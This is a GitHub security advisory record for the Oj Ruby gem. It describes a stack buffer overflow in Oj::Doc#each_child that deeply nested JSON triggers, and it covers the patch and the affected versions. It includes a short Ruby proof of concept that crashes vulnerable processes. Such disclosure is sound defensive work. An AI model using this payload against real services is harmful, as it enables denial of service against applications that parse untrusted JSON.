{"id":"GHSA-3m6q-jj5j-38c9","summary":"Oj: Stack Buffer Overflow in Oj::Doc#each_child via Deeply Nested Input","details":"### Summary\n\n`Oj::Doc#each_child`, when invoked recursively over a deeply nested JSON\ndocument, overflows a fixed-size stack buffer and aborts the process. This is a\ndenial of service reachable from untrusted JSON.\n\n### Details\n\nTwo-step chain in `ext/oj/fast.c`:\n\n1. **`doc_each_child` (~line 1501)** increments `doc-\u003ewhere` past the\n   `where_path[MAX_STACK = 100]` array with no bounds check, and never restores\n   it (`doc-\u003ewhere--` is missing). Calling `each_child` recursively from inside\n   the yield block therefore drives `doc-\u003ewhere` beyond the array.\n\n2. **On the next entry (~line 1478)** the function copies the path into a\n   stack-local buffer:\n\n   ```c\n   Leaf  save_path[MAX_STACK];           // 800-byte stack buffer\n   size_t wlen = doc-\u003ewhere - doc-\u003ewhere_path;\n   if (0 \u003c wlen) {\n       memcpy(save_path, doc-\u003ewhere_path, sizeof(Leaf) * (wlen + 1));\n   }\n   ```\n\n   When the previous recursive call left `doc-\u003ewhere` past `where_path[100]`,\n   `wlen` exceeds `MAX_STACK` and the `memcpy` overflows `save_path` on the C\n   stack.\n\nThe `Oj::Doc` parser imposes no JSON nesting-depth limit (it relies on a\nC-stack pressure check), so deeply nested attacker input reaches this path.\n\n### Proof of Concept\n\n```ruby\nrequire 'oj'\ndepth = 200\npayload = '[' * depth + '1' + ']' * depth\nOj::Doc.open(payload) do |doc|\n  r = lambda { doc.each_child { |_| r.call } }\n  r.call\nend\n```\n\nRecursion depth \u003c= 99 iterates normally; depth \u003e= 101 aborts. lldb backtrace\non the affected build (`ruby 3.3.8 / arm64-darwin24`):\n\n```\nSIGABRT\n#2 __abort\n#3 __stack_chk_fail\n#4 doc_each_child   (oj.bundle, fast.c)\n```\n\n### Impact\n\nReliable denial of service: any endpoint that calls\n`Oj::Doc.open(untrusted) { |d| d.each_child ... }` recursively can be crashed\nwith a small deeply-nested payload. On builds with a stack protector (the\ndefault, `-fstack-protector-strong`) the canary aborts the process before the\nsaved return address is used. The Step-1 heap OOB writes into `struct _doc`\nfields do occur, but are masked in practice because the Step-2 stack overflow\ncrashes first; turning them into anything beyond a crash has not been\ndemonstrated.\n\n### Patches\n\nFixed in **3.17.3**: `doc_each_child` now bounds-checks before incrementing\n`doc-\u003ewhere` (raising `Oj::DepthError`) and restores `doc-\u003ewhere` after the\nloop, matching the existing `each_leaf` pattern. Verified on the fixed build:\ndepth \u003e= 101 raises a clean `Oj::DepthError` instead of aborting.\n\n### Credit\n\nReported by Zac Wang (@7a6163).","aliases":["CVE-2026-54592"],"modified":"2026-07-17T21:10:09.218326090Z","published":"2026-06-19T19:36:28Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-06-19T19:36:28Z","nvd_published_at":null,"cwe_ids":["CWE-125","CWE-787"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/ohler55/oj/security/advisories/GHSA-3m6q-jj5j-38c9"},{"type":"PACKAGE","url":"https://github.com/ohler55/oj"}],"affected":[{"package":{"name":"oj","ecosystem":"RubyGems","purl":"pkg:gem/oj"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.17.3"}]}],"versions":["0.5","0.5.1","0.5.2","0.6.0","0.7.0","0.8.0","0.9.0","1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.1.0","1.1.1","1.2.0","1.2.1","1.2.10","1.2.11","1.2.12","1.2.13","1.2.2","1.2.3","1.2.4","1.2.5","1.2.6","1.2.7","1.2.8","1.2.9","1.3.0","1.3.2","1.3.4","1.3.5","1.3.6","1.3.7","1.4.0","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.6a2","1.4.7","2.0.0","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.1.6","2.1.7","2.10.0","2.10.1","2.10.2","2.10.3","2.10.4","2.11.0","2.11.1","2.11.2","2.11.3","2.11.4","2.11.5","2.12.0","2.12.1","2.12.10","2.12.11","2.12.12","2.12.13","2.12.14","2.12.2","2.12.3","2.12.4","2.12.5","2.12.6","2.12.7","2.12.8","2.12.9","2.13.0","2.13.1","2.14.0","2.14.1","2.14.2","2.14.3","2.14.4","2.14.5","2.14.6","2.15.0","2.15.1","2.16.0","2.16.1","2.17.0","2.17.1","2.17.2","2.17.3","2.17.4","2.17.5","2.18.0","2.18.1","2.18.2","2.18.3","2.18.4","2.18.5","2.2.0","2.2.1","2.2.2","2.2.3","2.3.0","2.4.0","2.4.1","2.4.2","2.4.3","2.5.1","2.5.2","2.5.3","2.5.4","2.5.5","2.6.0","2.6.1","2.7.0","2.7.1","2.7.2","2.7.3","2.8.0","2.8.1","2.9.0","2.9.1","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9","3.0.0","3.0.1","3.0.10","3.0.11","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.2","3.1.3","3.1.4","3.10.0","3.10.1","3.10.10","3.10.11","3.10.12","3.10.13","3.10.14","3.10.15","3.10.16","3.10.17","3.10.18","3.10.2","3.10.3","3.10.5","3.10.6","3.10.7","3.10.8","3.10.9","3.11.0","3.11.1","3.11.2","3.11.3","3.11.4","3.11.5","3.11.6","3.11.7","3.11.8","3.12.0","3.12.1","3.12.2","3.12.3","3.13.0","3.13.1","3.13.10","3.13.11","3.13.12","3.13.13","3.13.14","3.13.15","3.13.16","3.13.17","3.13.18","3.13.19","3.13.2","3.13.20","3.13.21","3.13.22","3.13.23","3.13.3","3.13.4","3.13.5","3.13.6","3.13.7","3.13.8","3.13.9","3.14.0","3.14.1","3.14.2","3.14.3","3.15.0","3.15.1","3.16.0","3.16.1","3.16.10","3.16.11","3.16.12","3.16.13","3.16.14","3.16.15","3.16.16","3.16.17","3.16.2","3.16.3","3.16.4","3.16.5","3.16.6","3.16.7","3.16.8","3.16.9","3.17.0","3.17.1","3.2.0","3.2.1","3.3.0","3.3.1","3.3.10","3.3.2","3.3.3","3.3.4","3.3.5","3.3.6","3.3.7","3.3.8","3.3.9","3.4.0","3.5.0","3.5.1","3.6.0","3.6.10","3.6.11","3.6.12","3.6.13","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.6.8","3.6.9","3.7.0","3.7.1","3.7.10","3.7.11","3.7.12","3.7.2","3.7.3","3.7.4","3.7.5","3.7.6","3.7.7","3.7.8","3.7.9","3.8.0","3.8.1","3.9.0","3.9.1","3.9.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-3m6q-jj5j-38c9/GHSA-3m6q-jj5j-38c9.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}